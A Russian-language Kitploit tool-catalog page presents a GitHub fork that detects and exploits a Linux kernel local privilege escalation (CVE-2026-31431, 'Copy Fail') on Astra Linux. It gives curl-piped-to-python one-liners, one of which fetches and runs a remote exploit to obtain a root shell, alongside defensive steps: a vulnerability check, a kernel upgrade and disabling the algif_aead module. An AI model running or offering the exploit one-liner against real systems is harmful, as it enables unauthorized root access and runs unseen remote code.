Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Copy-Fail — Detects and exploits CVE-2026-31431 (Copy Fail) local privilege escalation on Astra Linux, with Python 3.7+ compatibility and one-liner deployment. | Kitploit
Инструменты/GitHubGitHub/p401a-ops/copy-fail
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPenetration Testing
GitHubp401a-ops/copy-fail

Copy-Fail

Detects and exploits CVE-2026-31431 (Copy Fail) local privilege escalation on Astra Linux, with Python 3.7+ compatibility and one-liner deployment.

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-31431 "Copy Fail" - Local Privilege Escalation

Python 3.7+ совместимая версия (включая Astra Linux)

Безопасная провера без эксплуатирования:

root@kitploit:~
curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/detect.py | python3

Эксплуатирование (когда попросит надо ввести пароль пользователя)

root@kitploit:~
python3 -c "$(curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/exp.py)" --shell

Данная версия эксплойта

Это форк, адаптированный для Python 3.7, 3.8, 3.9, 3.10, 3.11. Оригинальные эксплойты требуют Python 3.12+ из-за использования os.splice().

Почему не работает оригинал?

root@kitploit:~
# ❌ Оригинальный эксплойт (только Python 3.12+)
os.splice(fd_in, fd_out, length, offset_src=offset)
# AttributeError: module 'os' has no attribute 'splice'

Что изменено в этом форке?

  • Убрана зависимость от os.splice()
  • Добавлена совместимость с Python 3.7+
  • Эксплойт протестирован на Astra Linux
  • Сохранена совместимость с современными дистрибутивами
  • Добавлен простой one-liner запуск

Примечания

  • Требуется локальный доступ к системе
  • Python должен быть установлен в системе
  • Проверено на Astra Linux CE/SE
  • Работает без Python 3.12+

###Эксплуатация на Astra Linux

Уязвимость проверена на Astra Linux. Модуль algif_aead присутствует, эксплуатация позволяет получить доступ к sudo и повысить привилегии до root.

Однако при включённом мандатном контроле доступа (МКД/Parsec) стать суперадминистратором (уровень 63 / роль astra-admin) не представляется возможным: мандатные метки ограничивают привилегии даже процесса root, и политика безопасности не позволяет пересечь установленные уровни конфиденциальности.

Таким образом: 🔴 Системы Astra Linux без МКД или с отключённым МКД — уязвимы полностью. 🟡 Системы с включённым МКД — частично защищены: получение root возможно, но реальные возможности атакующего ограничены мандатной политикой.

В обоих случаях при обнаружении уязвимости применение мер из пунктов 2 или 3 обязательно.

━━━━━━━━━━━━━━━

  1. Проверка наличия уязвимости

На каждом сервере необходимо выполнить следующую команду. Она не вносит никаких изменений в систему и только проверяет, доступен ли уязвимый модуль.

Подключиться к серверу и выполнить одной строкой:

python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("\n" + "*"30 + "\n** УЯЗВИМА **\n" + ""*30)'

🔴 Если на экране появилось слово УЯЗВИМА — сервер подвержен уязвимости, необходимо перейти к пункту 2. 🟢 Если появилось сообщение об ошибке Python — сервер не подвержен уязвимости, дальнейших действий не требуется.

━━━━━━━━━━━━━━━ 2. Основное решение — обновление ядра

Необходимо обновить ядро до версии, содержащей исправление: 6.18.22, 6.19.12 или новее. До момента обновления отключение модуля из пункта 3 обеспечивает защиту.

Для Debian / Ubuntu / Astra Linux:

apt-get update apt-get dist-upgrade reboot

После перезагрузки обязательно проверить что загрузилось именно новое ядро:

uname -r

Если команда показывает версию ниже 6.18.22 — ядро не обновилось либо система загрузилась со старым образом. В этом случае необходимо убедиться что обновление было установлено (apt-get dist-upgrade не выдало ошибок) и повторить перезагрузку.

⚠️ Astra Linux 1.7.x: До выхода обновления единственной мерой защиты является отключение модуля из пункта 3. Для получения патча рекомендуется обратиться в техподдержку Astra Linux через личный кабинет.

━━━━━━━━━━━━━━━ 3. Временная мера защиты — отключение уязвимого модуля

Если обновление ядра в данный момент невозможно, в качестве временной меры рекомендуется отключить уязвимый модуль. Операция не требует перезагрузки и вступает в силу немедленно. Перед применением рекомендуется проверить изменения на тестовой среде: в редких случаях отдельные сервисы могут использовать данный модуль напрямую.

Команда для отключения модуля. Выполнить от имени root (или через sudo):

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true

Первая команда запрещает загрузку модуля при следующих запусках. Вторая выгружает его прямо сейчас, если он загружен. Ошибка во второй команде — это нормально, значит модуль уже не был активен.

Скачать инструмент